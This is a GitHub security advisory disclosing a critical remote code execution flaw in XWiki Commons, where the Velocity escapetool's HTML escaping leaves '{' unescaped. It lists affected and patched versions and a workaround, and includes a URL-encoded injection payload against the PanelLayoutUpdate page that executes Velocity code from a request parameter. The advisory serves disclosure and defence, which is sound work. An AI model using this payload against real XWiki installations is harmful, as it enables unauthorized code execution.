XWiki Commons missing escaping of `{` in Velocity escapetool allows remote code execution
Critical severity
GitHub Reviewed
Published
Apr 10, 2024
in
xwiki/xwiki-commons
•
Updated Apr 10, 2024
Package
Affected versions
>= 3.0.1, < 14.10.19
>= 15.0-rc-1, < 15.5.4
>= 15.6-rc-1, < 15.9-rc-1
Patched versions
14.10.19
15.5.4
15.9-rc-1
Description
Published to the GitHub Advisory Database
Apr 10, 2024
Reviewed
Apr 10, 2024
Published by the National Vulnerability Database
Apr 10, 2024
Last updated
Apr 10, 2024
Impact
The HTML escaping of escaping tool that is used in XWiki doesn't escape
{
, which, when used in certain places, allows XWiki syntax injection and thereby remote code execution.To reproduce in an XWiki installation, open
<xwiki-host>/xwiki/bin/view/Panels/PanelLayoutUpdate?place=%7B%7B%2Fhtml%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bvelocity%7D%7D%23evaluate(%24request.eval)%7B%7B%2Fvelocity%7D%7D%7B%7B%2Fasync%7D%7D&eval=Hello%20from%20URL%20Parameter!%20I%20got%20programming%3A%20%24services.security.authorization.hasAccess(%27programming%27)
where<xwiki-host>
is the URL of your XWiki installation. If this displaysYou are not admin on this place Hello from URL Parameter! I got programming: true
, the installation is vulnerable.Patches
The vulnerability has been fixed on XWiki 14.10.19, 15.5.5, and 15.9 RC1.
Workarounds
Apart from upgrading, there is no generic workaround. However, replacing
$escapetool.html
by$escapetool.xml
in XWiki documents fixes the vulnerability. In a standard XWiki installation, we're only aware of the documentPanels.PanelLayoutUpdate
that exposes this vulnerability, patching this document is thus a workaround. Any extension could expose this vulnerability and might thus require patching, too.References
References